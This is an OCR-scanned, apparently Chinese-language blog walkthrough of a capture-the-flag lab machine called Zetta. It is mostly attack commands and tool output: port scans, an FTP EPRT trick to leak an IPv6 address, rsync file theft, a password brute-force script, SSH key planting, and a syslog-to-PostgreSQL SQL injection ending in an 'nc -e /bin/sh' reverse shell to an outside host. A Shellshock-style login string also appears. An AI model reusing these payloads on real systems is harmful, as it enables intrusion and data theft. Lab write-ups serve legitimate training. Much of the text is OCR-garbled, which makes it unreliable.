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:~# nmap 10.10.1@.156 -A -sC -p B-65535
Starting Nmap 7.80 ( https://nmap.org ) at 2020-82-24 20:47 EST
Nmap scan report for 10.10.10.156 (10.10.10.156)
Host is up (@.29s latency).
Not shown: 65533 filtered ports
PORT  STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.9pl Debian 18| (protocol 2.8)
ssh-hostkey:
2048 2d:82:6@0:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:bB (RSA)
256 1f:1b:@e:9a:91:b1:10:5f:75:20:9b:aB:8e:fd:ek:c1 (ECDSA)
|_ 256 b5:@c:al:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a@:ab (ED25519)
80/tcp open http nginx
| _http-title: Ze::a Share
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed
port
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/fo:linux:linux_kernel:2.6
0S details: Linux 2.6.18 - 2.6.22

:~# nc -v 10.10.10.156 21

10.10.10.156 [10.10.10.156] 21 (ftp) open

Welcome to Pure-FTPd [privsep] [TLS]
220-You are user number 2 of 580 allowed.
220-Local time is now @2:17. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
user admin
331 User admin OK. Password required
pass admin
530 Login authentication failed
user admin
331 User admin OK. Password requirefh, o c<dn net/qq
pass password =

RINTCEBFRT, XHIPv6, ARVFE4Uin. 2itPure-FTPA/ELE I C 41K IFICVE-2014-6271, KILHA
REHUIT a4, WiE:

:~# nc -v 10.10.10.156 21
10.19.10.156 [19.18.10.156] 21 (ftp) open
Welcome to Pure-FTPd [privsep] [TLS]
220-You are user number 1 of 500 allowed.
220-Local time 1s now 23:41. Server port: 21.
220-This 1s a private system - No anonymous Llogin

220-IPve connections are also welcome on this server.

220 You will be disconnected after 15 minutes of ipactivity.
user admin

331 User admin OK. Password required

pass () { :;};#{datastore[ 'RPATH'

530 Login authentication faile it

N

SRJG T 0)80uw 11, RILubibr @it Zeam A& Zetta, XV ENEFERIE, IAEEANERE LA 4, Vi) i [E EHE
Hdirbrusterfiffiweb H ¢, Wil



(@ Scan Information ' [Results - List View: Dirs: 8 Files: 6]} Results - Tree View ', i\ Errors: 17,

Type | Found | Response | Size
Dir / 200 40509 | a
Dir fimagesflogo/f 403 310[ ]
Dir fimages/ftestimonial/ 403 310
Dir fcssf 403 310
Dir fisf 403 310
File findex. html 200 40511
Dir fimagesfteam/ 403 310|:
File fisfinit.js 200 7605
File fisfiquery.prettyPhoto.js 200 36454 ¢
File fjs/bootstrap.min.js 200 39934|
File fisfiguery.js 200 93361
File fisfplugins.js 200 100705
Dir fimages/bg/ 403 310
Dir ffonts/ 403 310{=
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Linux FUSE Native FTP Social Media Hosting
x& Pellentesque habitant morbi tristique @ \We support native FTP with FXP G N pellentesque habitant morbi tristique
senectus et netus et malesuada fames ac enabled. We also support RFC 2428, senectus et netus et malesuada fames ac

turpis egestas. Vestibulum tortor guam, turpis egestas. Vestibulum tortor quam,

feugiat vitae. feugiat vitae.

OUR STORE

FTP Storage SFTP Storage S3 Storage Dual-Stack
All storage we have at your Still waiting for this to be Coming soon! Almost there.
disposal. availzble.
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USE THE BELOW CREDENTIALS ON OUR SHINY FTP SERVER AND START SHARING:

Username
lyZTn?::-\_;29Psr98 LnkAmQH ?DLianBJHT‘
Password

Qg |yZTn75y29Psr98LnkAmQH7DLinXcBIHT |

Sharing

L)
% Just share the long and thus secure username and password with
your friends and they will have fast access to the same data. Mo one

else will have access.
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{acript>
function randomString (length, chars) |
wvar result = 77 ;
for {var 1 = length: 1 » 0; ——1) result += charsz[Math. floor (Math. random () # chars. length)];
return result;
1
var r3tring = randomString (32, T 012345678%abcdefzhi jklmnopqrstwasyz ABCDEFGHITELMNOPQRSTUVWEYT' ) ;
<fgoriptr

<h3 clasz="media—heading " >Username</ hi>
<p>(script>[documen‘t.write (rString)l(fscript)(fp)
“divy
-/ col-md-4—->
="col-md-2 col-=m—F">
-/ col-md-4—->
=
e
="col-md-4 col-sm—F">
-/ col-md-4—->
="col-md-6 col-sm—F">
:lazz="zervice-block”>
liv clazs="pull-left bounce—in">
i class="fa fa—kev fa fa—md "> 1>
“divy
v clasz="media-body fade—up”>
<h3 clasz="media—heading” >Pazsword</ L3>

{pr<scriptXdocument. write (r5tring)</script></p>
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:~# ftp 10.10.10.156
Connected to 10.10.10.156.
Welcome to Pure-FTPd [privsep] [TLS]
220-You are user number 2 of 500 allowed.
220-Local time is now ©2:28. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (10.10.10.156:root): yZTn75y29Psr98LnkAmQH7DLinXcBIHT
331 User yZTn75y29Psr98LnkAmQH7DLinXcBJHT OK. Password required
Password:
230-This server supports FXP transfers
23@0-0K. Current restricted directory is /
230-0 files used (@%) - authorized: 1@ files
230 @ Kbytes used (8%) - authorized: 1024 Kb
Remote system type is UNIX.
Using binary mode to transfer Fi}m§

fp> I =dn.

ST H SR N BCA AR, B T _EAE SO BER A TIRE T .
IPv6F1FXP

RIE B HERFC242801 1K :


http://mirrors.zju.edu.cn/rfc/rfc2428.txt

Thiz document providez a zpecification for a way that FTP can
communicate data connection endpoint information for network
protocols other than IPwd. In this specification, the FTP commands
[PORT and PASV are replaced with EPRT and EFSV) respectively. This
document iz organized az follows., Section 2 outlines the EPET
command and Section 3 outlines the EF3YV command. Section 4 defines
the utilization of these two new FTP commands. Section 5 briefly
pregentsz gecurity considerations. Finallsy, Section 6 provides
concluzions.

2. The EPET Command

The EPET command allows for the specification of an extended address
for the data commection. The extended address MUST consist of the
network protocol az well as the network and transport addrezses. The
format of EFRT is

[EPRT<space><d><net—prt><d><net—addr><d><tcp—port><dﬂ

The EPFRT command keyword MUIST be followed by a single space (ASCII
32). Following the space, a delimiter character (<d») MUST be
zpecified. The delimiter character MUST be one of the A3CII
characterz in range 33-126 inclusive. The character *|* (ASCII 124)
iz recommended unless it coincides with a character neesded to encode
the network address.

the following table

AF Mumber  Protocol

1 Internet Protocol, Version 4 [Pos8lal
2 Internet Protocol, Version § [DH96]

The <net—addr> iz a protocol specific string represzentation of the
network address. For the two address families specified abowe (AF
Mumber 1 and 2}, addresses NUST be in the following format:

AF Number bddrezz Format Example

1 dotted decimal 132.235.1.2

2 IPvE string 1080; .8 800 200C: 4174
reprezentations

defined in [HD96]

811lman, et. al. Standards Track [Fage 2]

RFC 2428 FTF Extenzionz for IPvE and NAT= September 1993
The <tcp-port> argument must be the string represzentation of the
number of the TCP port on which the host iz listening for the data

contectiom.

The following are zample EPET commands

EPRT |1]132.235.1.2|6275]

EPRT |2]1080::8:800:200C: 4174|5282

The firszt command specifies that the server should use IPvd to open a
data comnection to the host "132.235.1.2" on TCP port 6275. The
zecond command szpecifies that the szerver should use the IPwE network
protocol and the network address “1080::8:300: 200C: 4174 to open a
TCP data connection on port B2BZ.

#EIPv6H, FTP#r4PORTHIPASVS: 5 EPRT HIEPSVEUAY, Rt w] LAZE B3] H bR EHLFTPRRSS 5 18 F
EPRT Ll 8% S HLf o {8 Finc -6lvp 44447F |5 IPV6 (11444455 I W, SR 518 FInciZE#% H bR EHLFTPAR
%, B2 JGHITEPRT |2|dead:beef:2::1042|4444|, ##EH4TLIST, WiE:



:~# nc -v 10.10.10.156 21
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.10.156:21.

Welcome to Pure-FTPd [privsep] [TLS]

220-You are user number 1 of 500 allowed.
220-Local time is now 20:33. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USer ddddddddddddddddddddddddddddddada
331 User aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa OK. Password required
pass dddddddddddddddddddddddddaddadda
230-This server supports FXP transfers
23@0-0K. Current restricted directory is /
230-0 files used (@%) - authorized: 1@ files
230 @ Kbyvtes used (0%) - authorized: 1024 Kb
EPRT |2|dead:beef:2::1042 4444
200-FXP transfer: from 10.10.14.68 to dead:beef:2::1042%160
200 PORT command successful
LIST
150 Connecting to port 4444
226-0ptions: -1

226 @ matches total s://blog.csdn.net/qr

PAT 2 T LU 2R B H AR EALIPveL L, 4

:~# |nc -6lvp 4444
: Version 7.80 ( https://nmap.org/ncat )
Listening on ::: 4444

: Connection from dead:beef ::250:56ff:feb9:3343.
: Connection from dead:beef ::250:56ff:feb9:3343:56980.

] DA G BAASSRE H b A LIPVE b -

#!/usr/bin/python3
import socket
import os

lisn=o0s.popen("nc -6lvp 4444")
ip6=0s.popen("ifconfig tun@ | grep 'inet6 dead'").read().strip()
ip6=ip6.split(" ')[1]

s=socket.socket()
s.connect(('10.10.10.156"',21))

rcv=s.recv(1024)
if b"220" in rcv:
s.send("user aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n”.encode())
#print(s.recv(1024).decode())
s.send("pass aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n”.encode())
#print(s.recv(1024).decode())
s.send(("EPRT |2|"+ip6+"|4444|\n").encode())
#print(s.recv(1024).decode())
s.send(b"LIST\n")
#print(s.recv(1024).decode())
s.send(b"!\n")
s.close()
#print(lisn.read())

ip6_dst=lisn.read()
print("ip6:",ip6_dst)

SR J5 % Flnmap -A -6 dead:beef::250:56ff:feb9:334343 4 H x4, &



:~# nmap -A -6 -p 8-65535 dead:beef::250:56ff:feb9:3343
Starting Nmap 7.80 ( https://nmap.org ) at 2020-82-24 20:48 EST
Warning: dead:beef::250:56ff:feb9:3343 giving up on port because retransmission cap hit (1@).
Stats: 1:44:21 elapsed; @ hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 22:32 (0:00:01 remaining)
Nmap scan report for dead:beef ::250:56ff:feb9:3343

Host is up (@.29s latency).
Not shown: 65527 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp Pure-FTPd

22/tcp open ssh OpenSSH 7.9p1 Debian 18 (protocol 2.8)

ssh-hostkey:

2048 2d:82:6@0:c1:8c:8d:39:d2:fc:8b:99:5¢c:a2:47:f0:bB (RSA)
256 1f:1b:@e:9a:91:b1:10:5f:75:20:9b:aB:8e:fd:ek4:c1 (ECDSA)
_ 256 b5:@c:al:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a@0:ab (ED25519)
80/tcp open http nginx

| _http-title: Ze::a Share
5786/tcp filtered cisco-redu
5813/tcp filtered icmpd

8730/tcp open rsync (protocol version 31)

23757 /tcp filtered unknown
54657/tcp filtered unknown
57860/tcp filtered unknown

1]
No 0S matches for host (If you know what 05 is running on it, gé%

KILA bR ERIEAT B rsyncli 55, R REAEAE RIS IR T o

I 1 2 DR

SR J5 i F rsync --list-only rsync://[dead:beef::250:56ff:feb9:3343]:8730% | H [F 20 H %, Wik

:~# rsync —1list-only rsync://[dead:beef::250:56ff:feb9:3343]:8730
*&iiit UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED #&iiik

You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this
system may result in civil and/or criminal penalties.

All activities performed on this device are logged and monitored.

dkdddd UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ik

aZE:: A staff

This rsync server is solely for access to the zetta master server.

The modules you see are either provided for "Backup access" or for
"Cloud sync".

bin Backup
boot Backup
lib Backup
lib64 Backup
opt Backup
sbin Backup
srv Backup
usr Backup
var Backup

dCCess
dCCess
dCCess
dCCess
dCCess
dCCess
dCCess
dCCess
dCCess

/bin
/boot
/1ib
/1ib64
Jopt
/sbin
/srv

Jusr ;
Jvar log.csdn.net/qg_

EIR R LA EHRA T LLYT A rsyncli 55 &%, AREBBUITT 1) 7 2 0 RS Bl T S DR (G ] BEAFAE R I
Vi), EESIHSRE H SORITEARYT I, EEHE HAhr s de/etc/passwd SRR, 4l -



:~# rsync rsync://[dead:beef :: 250:56ff:feb9:3343]:8730/etc/passwd
*dkkkk UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED dkidk

You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this
system may result in civil and/or criminal penalties.

All activities performed on this device are logged and monitored.
dedckiik UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED s
OZE:: A staff

This rsync server is solely for access to the zetta master server.

The modules you see are either provided for "Backup access" or for
"Cloud sync”.

s:b

1,462 2019/07/27 03:07: DHFpALRIRP-cSUN-NEYqC

RIEA AR, 4R 514 Hrsync rsync://[dead:beef::250:56ff:feb9:3343]:8730/etc/passwd passwd:i S 144
2 A, {fHcat passwd&F, Wi:

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: fusr/sbin/nologin

man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1pd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
wow-data:x:33:33:www-data:/var/ww:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534 :nobody: /nonexistent: /usr/sbin/nologin
_apt:x:108:65534 :: /nonexistent:/usr/sbin/nologin
systemd-timesync:x:181:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110:: /nonexistent:/usr/sbin/nologin
sshd:x:1085:65534 :: /run/sshd:/usr/sbin/nologin

roy:x:1000:1000:roy,,, :/home/roy:/bin/bash

systemd-coredump:x:999:999:systemd Core Dumper:!:!sbin!nolp%'ﬁ
postgres:x:106:113:PostgresSqL administratnr,..:!var!lib!pn§'gf

A] LAY Bl fetc/passwd XA AR 8 A Froy, B AR ENUAELErsyneAR BT 1) I o
I TR F

R B letc N HAB S, fE/etc/rsyned.confri &K B F15 &



# Allow backup server to backup /usr
[usr]
comment = Backup access to /usr
path = fusr
# Allow access from backup server only.
hosts allow = 104.24.0.54

backup server to backup /var

comment = Backup access to /var

path = /var

# Allow access from backup server only.
hosts allow = 104.24.0.54

# Syncable home directory for .dot file sync for me.
# NOTE: Meed to get this into GitHub repository and use git for sync.
[home_roy]

path = /home/roy

read only = no

# Authenticate user for security reasons.

uid = roy

gid = roy

auth users = rov

secrets file = /etc/rsyncd.secrets

#_Hide home module so that no Hﬂﬁﬂﬁﬂi?ﬂlEEd?ﬁﬁﬁﬁﬁﬂi
list = false = =

KIL—~ Hxlhome_roy, {HZIFREZHIHIFEN B R, ZlyiinREER. REMHE L0422
& skrsync rsync://roy@[dead:beef::250:56ff:feb9:3343]:8730/home _roy, A kM. #RJG H 174 S Shell A3 17
I

#!/bin/bash

cat /usr/share/wordlists/rockyou.txt | while read pass
do

export RSYNC_PASSWORD=${pass}

rsync rsync://roy@[dead:beef::250:56ff:feb9:229c]:8730/home_roy 2>&1 | grep -q "auth failed on module h
done

PAT 2 JE S B a], anfA

[+] Passwor

=N |

FID A 25, S8 I A8 % S 2 B home_roy T 13, Wil

Password:

drwxr-xr-x 4,096 2019/07/28 152: .

Lrwxrwxrux 2019/07/27 86:57: .bash_history
-I'W-r——r-—- 220 2019/07/27 03:03: .bash_logout

-IW-r—T— 3,526 2019/07/27 1@3: .bashrc

-I'W-r——r-—- 807 2019/87/27 03:083: .profile
4,752 2019/07/27 124 .tudu.xml

-r—r—r— 33 2019/07/27 2242 user.txt

SR 5 K user. it fig BIAHLED AT, (B BOR B SRS shell gt & 5 H KTh . SRIEEANLA: lissh# 8] (A Htd [l
4-“ ’ ﬁ]_]:



:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:TLEJ7/dilx7a6ZcNV1//HOVx4X+9AgeDCSVq+3iwmr®d rootakali
The key's randomart image is:
+-—[RSA 3072]----+

O:

oX

. 0 oo.B

oB. =

.k +0.+
0 E o
+————[SHA255]

SR 5 ¥4 root/.sshiid_rsafilid_rsa.pub& il 2l/root H 5% T, JFFHFid_rsa.pub iy 4 ~authorized_keys, %35 18 H]
rsync authorized keys rsync://roy@|dead:beef::250:56ff:feb9:3343]:8730/home_roy/.ssh/#authorized _keys L
fEEZ 2 H bR ENL.sshHRX T, REEELEHAE, WE:

Password:

drwxr-xr-x 4,096 2020/02/28 91:38:33 .
-FW-F—r— 563 2020/02/28 81:34:51 authorized_keys

P& Fssh -i id_rsa roy@10.10.10.1567%% 3% H br EHL, W1

:~# ssh -i id_rsa roygl@.10.10.156
Linux zetta 4.19.8-5-amd64 #1 SMP Debian 4.19.37-5+deb1@ul (2019-87-19) x86_64
Last login: Fri Feb 28 ©1:35:23 2020 from 10.10.14.132
royazetta:~$ ||

B3R5 i Shell.

BUPR e Tt
AN, W

Az :~$ upame -a
Llnux zetta 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+debl@ul (2019-87-19) xB6_64 GNU/Linux
. :~§ pkexec
pkexec command not found

zetta:~$ i

M4 N9.0 A, HEAMRMATpkexects 7, [t L% H CVE-2019-13272i 74524, 1 CVE-2019-8912i%
A AT HIEXPE B IEIER .

RIEEE IR, KA netstatdr S KRR, A5 EFIBITHIBERE, WK:

royapzetta: $ ps -aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

roy 3291 0.0 @.4 21020 8516 ? Ss  01:42 @:00 /lib/systemd/systemd —-user
0.0 0.1 6992 3756 pts/@ Ss 01:42 0:00 -bash

9.0 ©.1 10632 3076 pts/0 R+ 02:04 0:00 ps -aux

roy 3301

TR BT, BRI AE, 8T,
l:l:l_»l'lﬁlE

KU P H 3 AL tuduxml 3, AR E#HATtuduin S &5 E R

iy
CIt
Nl
o
25



q:quit k:up j:down h:out 1:in m:done o:add a:modify

he mobile apps
36% Server
57% HTTP Server
33% Network
66% FTP Server
8% RSYNC Server
[ ] Rework rsyncd.conf be
cause of security inc
ident
[ ] Re-enable /fetc syncin
g for cloud server to
work properly again
TR e TR

62% SYSLOG Server
0% Security

__________________________________________________________________ ttpsy/

SYSLOG Server

[X] Decide server: syslog
-ng vs. rsyslog

[X] Install server

[X] Configure server

[X] Check postgresql log
for errors after conf
iguration

[X] Prototype/test DB pus
h of syslog events

[ ] Testing

Il Elﬁ&!ﬁfife GUI for sy
slog-db access/view
Security

0% Security
"_:- LJ.
te findings.

[ ] Change shared passwor
d scheme from <secret
>guserid to something

more secure.

A DURBILA Ja B [R5 e sh Blgit, o 7R & postgresqlil i H &, A8 B LynisFlHE 2245 () 5l . i i find
/ -name .git 2>/dev/null&$L.gitH 5%, 1&l:
etta:~$ find / -name .git 2>/dev/null

/étc/pure—ftpd!.git
Jetc/nginx/.git

Jetc/rsyslog.d/.git
r etta:~§ ||

SR JG I, fEletc/pure-ftpd/.git/logs/ & K IIHEAD S AF, i



royazetta: $ cat HEAD

0000000000000000000000000000OROOOOOOOOOO0 6698579Fbbfchh5eTabtTbcl11e48c704265217c77 root <rootaze
tta.htb> 1564211501 -0400 commit (initial): Initial revision.
6698579fbbfcb65e7a474c11e48c704265217c77 f75d3efel33beb741913ddaddeed96bc20fbabdé root <rootaze
tta.htb> 1564220521 -0400 commit: Basic configuration complete.
f75d3efel33be6741913dda@deed96bc2@fbabd4 f5fe2317cB8030e549fe123c@4ddbl13bb34cdfbca root <rootaze
tta.htb> 1564223686 -0400 commit: Several changes.

royozetta: $ git show 6698579fbbfcb65e7a474c11e48c704265217c77

commit 6698579fbbfcbb6bhe7ast74c11e48c704265217c77

Author: root <rootazetta.htb>

Date: Sat Jul 27 ©3:11:41 2019 -0400

Initial revision.

diff —git a/auth/65unix b/auth/65unix
new file mode 120000

index 0000000 ..b9192e4

=== fdev/null

+++ b/auth/65unix

.. feconf/UnixAuthentication
\ No newline at end of file
diff --git a/auth/70pam b/auth/70pam
new file mode 120000
index 0000000 ..5ecda&s

——= Jdev/null
+H h[a:th:?ﬂpam hitps://blog.csdn.net/qg_32261191

.. fconf/PAMAuthentication
% No newline at end of file
diff —git a/conf/AltLog b/conf/AltLog
new file mode 100644
index 0000000 ..al3ed72
=== /Jdev/null
1/bin/sh
§ id
uid=1000@(roy) gid=1000(roy) groups=100@(roy),4(adm),24(cdrom),25(floppy),29(audio),30(dip),s4(v
ideo),46(plugdev),189(netdev)
Y | https://blog.csdn.net/qg_32261191

SR AR BGEAT IR, R BARRER 77248 lete/ngink.git/logslll il th AR $E A D . 2
£ letc/rsyslog.d/.git/logs/ T & BLIIHEAD A4 7 L3RS —s8(E B, WA .

royazetta: $ cat HEAD

0000000000000000000000000000000000OOOO0O0 c98d292ac2981c0192a59d7cdad9d2d4a25bd4écs root <rootaze
tta.htb> 1564211482 -0400 commit (initial): Initial rewvision.
c98d292ac2981c@192a59d7cdad9d2d4a25bd4écs e25cc20218f99abd68a2bf@6ebfa8lcd7367ebba root <rootaze
tta.htb> 1564221103 -0400 commit: Adding/adapting template from manual.

royozetta: $ git show c98d292ac2981c@192a59d7cdad9d2d4a25bdacs

commit c98d292ac2981c@192a59d7cdad9d2d4a25bdbch

Author: root <rootazetta.htb>

Date: Sat Jul 27 83:11:22 2019 -0480

Initial revision.

diff ——git a/pgsql.conf b/pgsql.conf
new file mode 100644

index 0000000 .. f31836d

= fdev/null

++ b/pgsql.conf

1odule (load="ompg
* actionytype

o d= \—-:”-::.1';'_-,‘; ywd=" ) e E )
= Hitps:blog.csdn.net/qg_32261191

AJ LA Bl rsyslog /i FH 4 22 Syslog, uidfllpwdZ:(5 B, 4R 5 1d Fgit diff HEAD
€98d292ac2981c0192a59d7cdad9d2d4a25bd4c5FTHEAD S 44 B




RIL—AHESBATE R RN, H S /eSlocal7.info, i~ 4% B i AN Els 22 42 k15 2.
I 1 e DR
SR M3 ] psalir 4 45 6 F 7 4% R i 5 S il B R i)y, %G postgresaliicA, il

: $ psql -V
psql fPostgreSQL} 11.4 | (Debian 11.4-1)

$1

F R AAEAECVE-2019-91931 . 4R )5 F k5 & /etc/passwd 314 & Hlpostgre H /' #£ PostgreSQL administrator
4, K Ha(ENarllib/postgresql, #HEZ H, WK:

royazetta: $ 1s -la /var/lib/postgresql/
total 20

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

Trwxrwxrux

4096 Jul
4096 Aug
4096 Jul

9 Jul
744 Jul
4096 Jul

2019
2019
2019
2019
2019
2019

postgres
root
postgres
root
postgres
postgres

postgres
root
postgres
root
postgres
postgres

- /dev/null
.psql_history

F(E.sshH %, (HEAIBIR. 2R )5 & F postgresqlit) Hi&, wi:

$ cd /var/log/postgresql/
$ 1s -la

drwxrwxr-t
drwxr-xr-x
-TW-T-----
-TW-T-----
-TW-T-----

root
root
postgres
postgres
postgres

postgres 4096
root 4096
adm 5}
adm 390
adm 229

Mar
Mar
Mar
Mar
Aug

20:07 .
20:07

21:48 postgresql-11-main.log
20:07 postgresql-11-main.log.1

27 2019

adm 228 Aug 14 2019
$ more postgresql-11-main.log.1
:45:04.700 EDT [468] LOG: received fast shutdown request
:45:04.701 EDT [468] LOG: aborting any active transactions
:45:04.708 EDT [468] LOG: background worker "logical replication launcher®" (PID 50
code 1
.708 EDT [504]
722 EDT [468]

postgres

a:

28-31
2019-88-31
2019-98-31
9) exited with exit
2019-08-31 15:45:04
2019-08-31 15:45:04.

[cH
MicH

shutting down

:sdn.net/qq
database system is shut dowﬁ Al —

RERAHER. AEZAEANEE, Wl SAESQLENIWF, K.



$ logger -p local7.info "abcd"
$1s -1la

total 2
drwxrwxr-t root postgres 4096 Mar 20:07 .

drwxr-xr-x root root 4896 Mar 28:07

=TW-T=---- postgres adm @ Mar 22:31 postgresql-11-main.log
=TW-T=---- postgres adm 398 Mar 20:07 postgresql-11-main.log.1
=TW-T=---- postgres adm 2019

=TW-T=---- postgres adm 2019

EXMREAEZN, Rk EAN—DHRE5, K-

% logger -p local7.info
$1s -1a

drwxrwxr-t root postgres 4096 Mar 3 00:29 |

drwxr-xr-x root root 4096 Mar 3 00:29

=rW-Tr----- postgres adm 625 Mar 3 00:51 postgresql-11-main.log

=rW-Tr----- postgres adm 390 Mar 3 00:29 postgresql-11-main.log.1

=TW-Tr----- postgres adm 229 Aug 27 2019

=rW-Tr----- postgres adm 228 Aug 14 2019

ro etta: $ cat postgresql-11-main.log

2020-93-03 @0:51:11.813 EST [926] postgresdsyslog ERROR: syntax error at or near "2020" at cha
racter 75

2020-03-03 0@:51:11.813 EST [926] postgresdlsyslog STATEMENT: INSERT INTO syslog_lines (message
, devicereportedtime) values (' abcd\'','2020-03-03 85:51:11")

2020-93-03 @0:51:11.828 EST [1835] postgresasyslog ERROR: syntax error at or near "2828" at ch
aracter 75

2020-93-03 @0:51:11.828 EST [1035] postgresasyslog STATEMENT: INSERT INTO syslog_lines (messag
e, devicereportedtime) values (' abcd\'','2020-03-03 85:51:11")

§B2B—33—33 ©0:51:11.840 EST [1036] postgresasyslog WARNING: thEFﬁH;._Hﬁjéfﬂﬂﬁ?FéﬁEﬂ:- FOSTes

K Bipostgresql-11-main.log L K/ANK A28k, B H 5 T UK IR N Hid % syslog_linesft)SQLIE )
7E“2020" AR, BUUIAEAESQLIE NG, FLE R 3C1Fg— Bt 14 1 3l 4.

I A
fi&Payload: abcd',null)-- Wi/ 5 7] A & RTIL B 5] 5 /g S, Wik

$ logger -p local?7.info "abcd',null)— -"
$£1s -1a

drwxrwxr-t root postgres 4096 Mar 2 20:07 |
drwxr-xr-x root root 4996 Mar 2 20:07
=rW-T----= postgres adm @ Mar 2 23:24 postgresql-11-main.log
=TW-T----= postgres adm 390 Mar 20:07 postgresql-11-main.log.1
=TW-T----= postgres adm 229 Aug 27 2019
postgres adm 228 Aug 14 2019
$ logger -p local7.info "abecd',null)— -"
{£1s -1a

total 20

drwxrwxr-t root postgres 4896 Mar 2

drwxr-xr-x root root 4096 Mar 2 20:07
2

20:07 .

=rW-Tr----= postgres adm @ |Mar 23:24 postgresql-11-main.log
=TW-T----= postgres adm 390 Mar 20:07 postgresql-11-main.log.1
postgres adm 229 Aug 27 2ﬁ§%p
postgres adm 228 Aug 14 2019"

BAFERNE, BRI G RS 5 MEE S . 5 22 60R H SQLE AT i & X fpostgre H 7 [fshell, 7+
ANUIT 544445 0 W50, {# Flogger -p local7.info "abed',null); CREATE TABLE IF NOT EXISTS cmd(string
text); COPY cmd FROM PROGRAM 'nc -e /bin/sh 10.10.14.132 4444"; - -" (HT MR EE 7%, B ESLE S
EEAE SR D imlPHhEAE810.10.14.132) , Wi :



royazetta: $ logger -p local7.info "abcd',null);CREATE TABLE IF NOT EXISTS cm
d(string text); COPY cmd FROM PROGRAM 'nc -e /bin/sh 10.10.14.132 &4444'; — -"

royazetta: $ 1s -1a

total 24

drwxrwxr-t root postgres 4096 Mar 3 00:29 .

drwxr-xr-x root root 4896 Mar 3 00:29

=IW-r----- postgres adm 848 Mar 3 ©@:39 postgresql-11-main.log

=IW-r----- postgres adm 390 Mar 3 @0:29 postgresql-11-main.log.1

=IW-r----- postgres adm 229 Aug 27 2019

=IW-r----- postgres adm 228 Aug 14 2019

royazetta: $ cat postgresql-11-main.log

2020-03-03 00:39:13.446 EST [905] postgresamsyslog ERROR: |syntax error at or near "\" at charac
ter 146

2020-03-03 00:39:13.446 EST [905] postgresamsyslog STATEMENT: INSERT INTO syslog_lines (message
, devicereportedtime) values (' abcd\',null);CREATE TABLE IF NOT EXISTS cmd(string text); COPY

cmd FROM PROGRAM \'nc -e /bin/sh 10.10.14.132 &444\'; — -','2020-83-03 05:39:13')

2020-03-03 00:39:13.459 EST [925] postgresamsyslog ERROR: syntax error at or near "\" at charac
ter 146

2020-03-03 00:39:13.459 EST [925] postgresasyslog STATEMENT: INSERT INTO syslog_lines (message
, devicereportedtime) values (' abcd\',null);CREATE TABLE IF NOT EXISTS cmd(string text); COPY

cmd FROM PROGRAM \'nc -e /bin/sh 10.10.14.132 &&444\'; — -','202 1) 9 iaa )

2020-03-03 00:39:13.471 EST [926] postgresasyslog WARNING: ther&iﬁéjnglggéﬁggﬁzlnn &n55¥%%}L%;

SQUIEAJAA AT, “ne” I 551 5 4 SC 80 es . 1 Postgresql i 12 145 1E——"$8" 77 5 A
515, k.

royozetta: $ logger -p local7.info "abed',null);CREATE TABLE IF NOT EXISTS cm
d(string text);COPY cmd FROM PROGRAM $$nc -e /bin/sh 10.10.14.132 4446$%; — -

royazetta: $ 1s -1a

total 24

drwxrwxr-t root postgres 4096 Mar 3 00:29 |

drwxr-xr-x root root 4996 Mar 3 00:29

=rW-Tr----- postgres adm 859 Mar 3 00:59 postgresql-11-main.log

=TW-Tr----- postgres adm 390 Mar 3 00:29 postgresql-11-main.log.1

=rW-Tr----- postgres adm 229 Aug 27 2019

